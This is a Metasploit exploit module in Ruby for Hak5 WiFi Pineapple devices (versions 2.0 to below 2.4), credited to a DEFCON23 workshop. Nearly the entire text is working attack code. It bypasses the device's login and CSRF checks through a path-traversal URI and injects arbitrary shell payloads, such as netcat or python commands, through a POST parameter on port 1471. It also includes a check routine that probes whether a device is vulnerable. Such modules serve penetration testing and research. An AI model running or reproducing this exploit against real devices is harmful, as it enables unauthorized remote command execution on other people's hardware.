## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Hak5 WiFi Pineapple Preconfiguration Command Injection', 'Description' => %q{ This module exploits a login/csrf check bypass vulnerability on WiFi Pineapples version 2.0 <= pineapple < 2.4. These devices may typically be identified by their SSID beacons of 'Pineapple5_....'; Provided as part of the TospoVirus workshop at DEFCON23. }, 'Author' => ['catatonicprime'], 'License' => MSF_LICENSE, 'References' => [ ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Privileged' => false, 'Payload' => { 'Space' => 2048, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic python netcat telnet' } }, 'Targets' => [ [ 'WiFi Pineapple 2.0.0 - 2.3.0', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 1 2015')) register_options( [ OptString.new('TARGETURI', [ true, 'Path to the command injection', '/components/system/configuration/functions.php' ]), Opt::RPORT(1471), Opt::RHOST('172.16.42.1') ] ) deregister_options( 'ContextInformationFile', 'DOMAIN', 'DigestAuthIIS', 'EnableContextEncoding', 'FingerprintCheck', 'HttpClientTimeout', 'NTLM::SendLM', 'NTLM::SendNTLM', 'NTLM::SendSPN', 'NTLM::UseLMKey', 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2', 'SSL', 'SSLVersion', 'VERBOSE', 'WORKSPACE', 'WfsDelay', 'Proxies', 'VHOST' ) end def cmd_uri normalize_uri('includes', 'css', 'styles.php', '../../..', target_uri.path) end def cmd_inject(cmd) res = send_request_cgi( 'method' => 'POST', 'uri' => cmd_uri, 'vars_get' => { 'execute' => "" # Presence triggers command execution }, 'vars_post' => { 'commands' => cmd }) res end def check res = cmd_inject("echo") if res && res.code == 200 && res.body =~ /Executing/ return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def exploit print_status('Attempting to bypass login/csrf checks...') unless check fail_with(Failure::NoAccess, 'Failed to bypass login/csrf check...') end print_status('Executing payload...') cmd_inject("#{payload.encoded}") end end